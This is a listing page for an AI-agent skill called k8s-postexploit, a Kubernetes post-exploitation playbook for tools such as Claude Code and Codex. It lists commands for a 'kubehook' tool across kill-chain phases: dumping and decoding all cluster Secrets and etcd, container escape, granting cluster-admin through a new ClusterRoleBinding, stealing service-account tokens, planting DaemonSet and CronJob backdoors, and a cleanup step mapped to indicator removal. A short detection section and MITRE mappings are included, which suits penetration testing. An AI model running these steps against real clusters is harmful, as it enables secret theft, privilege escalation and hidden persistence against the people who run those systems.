# K8S Postexploit

> Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence

- Skill: `cyberstrikeus/k8s-postexploit` (Agent Skill)
- Install (CLI): `npx skillmds@latest add cyberstrikeus/k8s-postexploit`
- Raw SKILL.md: https://api.skillmd.com/api/skills/cyberstrikeus/k8s-postexploit/raw
- Safety review: CAUTION (external: skill-scanner PASS, skillspector CAUTION)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- Author: cyberstrikeus (https://skillmd.com/u/cyberstrikeus)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/cyberstrikeus/k8s-postexploit

---


# Kubernetes Post-Exploitation Methodology

Kubernetes post-exploitation targets cluster resources, RBAC misconfigurations, container security boundaries, and etcd for secret extraction. After compromising a pod or obtaining kubeconfig, these tools provide cluster enumeration, privilege escalation, container escape, and persistent access.

## Prerequisites

1. **Kubernetes access** — kubeconfig file, service account token, or in-cluster config
2. **Python packages** — `pip3 install kubernetes etcd3`
3. **Current context** — verify access via `kubectl auth can-i --list`

```bash
# Quick prerequisite check
kubectl cluster-info                          # verify cluster access
kubectl auth can-i --list                     # check current permissions
python3 -c "from kubernetes import client; print('OK')"
```

## Kill Chain Phases

### Phase 1 — Cluster Enumeration

| Action | Command | Purpose |
|--------|---------|---------|
| Full enumeration | `kubehook k8s_enum` | Map namespaces, pods, services, RBAC, ingress |
| Secret metadata | `kubehook k8s_enum --namespace kube-system` | Focus on high-value system namespace |

### Phase 2 — Secret Extraction

| Action | Command | Purpose |
|--------|---------|---------|
| K8s Secrets | `kubehook k8s_secrets` | Extract and decode all Kubernetes Secrets |
| etcd dump | `kubehook etcd_dump --endpoint ENDPOINT` | Direct etcd access for all secrets |

### Phase 3 — Privilege Escalation

| Action | Command | Purpose |
|--------|---------|---------|
| Container escape | `kubehook k8s_escape` | Detect escape vectors (privileged, hostPID, docker socket) |
| RBAC abuse | `kubehook k8s_privesc --method bind_admin` | Create ClusterRoleBinding for cluster-admin |
| SA token theft | `kubehook k8s_privesc --method sa_token` | Steal service account tokens from pods |

### Phase 4 — Persistence

| Action | Command | Purpose |
|--------|---------|---------|
| DaemonSet backdoor | `kubehook k8s_backdoor --type daemonset --image IMAGE` | Deploy on every node |
| CronJob backdoor | `kubehook k8s_backdoor --type cronjob --image IMAGE` | Periodic callback |

### Phase 5 — Cleanup (MANDATORY)

```
kubehook cleanup_k8s
```

## Detection Considerations

- **Kubernetes Audit Logs** — API server audit logging captures all requests
- **Falco** — Runtime security monitoring for container escape, privilege escalation
- **OPA/Gatekeeper** — Policy enforcement for pod security, RBAC constraints
- **Network Policies** — Restricts pod-to-pod and pod-to-external communication
- **RBAC Analyzer** — Tools like rbac-police, kubectl-who-can detect dangerous bindings

## Program Reference

| Program | Technique | MITRE ATT&CK |
|---------|-----------|---------------|
| k8s_enum | Cluster resource enumeration | T1613 — Container and Resource Discovery |
| k8s_secrets | Kubernetes Secret extraction | T1552.007 — Container API |
| k8s_escape | Container escape exploitation | T1611 — Escape to Host |
| k8s_privesc | RBAC privilege escalation | T1078 — Valid Accounts |
| etcd_dump | Direct etcd data extraction | T1552.007 — Container API |
| k8s_backdoor | DaemonSet/CronJob persistence | T1053.007 — Container Orchestration Job |
| cleanup_k8s | Resource removal by label selector | T1070 — Indicator Removal |